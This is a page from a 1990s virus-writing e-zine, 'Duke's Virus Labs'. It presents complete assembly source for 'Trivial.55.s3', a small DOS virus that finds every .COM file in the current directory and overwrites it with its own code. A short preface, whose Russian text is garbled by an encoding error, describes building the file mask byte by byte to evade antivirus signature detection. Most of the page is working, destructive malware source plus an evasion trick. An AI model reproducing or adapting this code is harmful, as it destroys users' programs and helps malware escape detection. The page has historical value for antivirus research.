- [Duke's Virus Labs #5] - [Page 13] -

Trivial.55.s3
(c) by Duke/SMF

     : Trivial.55.s3
         : Duke/SMF
 ண.   : Turbo Assembler
 ᮧ : 07.02.99

   । ࠧࠡ⪠   Trivial-ᮢ.   ࠧ 
 ᪨ ਥ. ணࠬ AVP  室  
祣 ⥫쭮.   ᥣ-  
                mov dx,offset file_spec
                .......................
                file_spec db '*.com',0
 
                mov     di,ax
                mov     dx,ax
                mov     al,'*'
                stosb
                mov     al,'.'
                stosb
                mov     al,'c'
                stosb
                mov     al,'o'
                stosb
                mov     al,'m'
                stosb
                mov     al,0
                stosb

ਤ ᯮ ᯥ᪮ 諨䮢 ᢮ ⨪ -  DrWeb 室
  COM.Virus...

===== Cut here =====
; Trivial.55.s3 (c) by Duke/SMF
; Greetz to RedArc/TAVC
; ࠦ  *.COM 䠩  ⥪饩 ४ਨ.

                .model   tiny
                .code
                org     100h
virus_length    equ     finish - start      ; 

start  :                                    ;砫 
                mov     ah,4Eh              ; ࢮ 䠩

                ;娢  DX  䠩
                ;⠪ ᪨ ਥ :)
                mov     di,ax
                mov     dx,ax
                mov     al,'*'
                stosb
                mov     al,'.'
                stosb
                mov     al,'c'
                stosb
                mov     al,'o'
                stosb
                mov     al,'m'
                stosb
                mov     al,0
                stosb

infect:
                int     21h
                jnc     infect_file         ;᫨ 䠩 ,  ࠦ,
                ret                         ; ⨢ 砥  ࠡ.
infect_file:
                mov     ax,3D01h            ;뢠 䠩  
                mov     dx,9Eh              ;DX 㪠뢠   䠩
                int     21h

                xchg    bx,ax               ;BX ᮤন 䠩 handle

                mov     ah,40h              ;㭪   䠩
                mov     cl,virus_length     ;CL = ᪮쪮  
                mov     dx,offset start     ;DX = 砫  
                int     21h

                mov     ah,3Eh              ;뢠 䠩
                int     21h

                mov     ah,4Fh              ; ᫥饣 䠩
                jmp     infect              ;室  ࠦ

finish  :                                   ; 
                end     start
===== Cut here =====
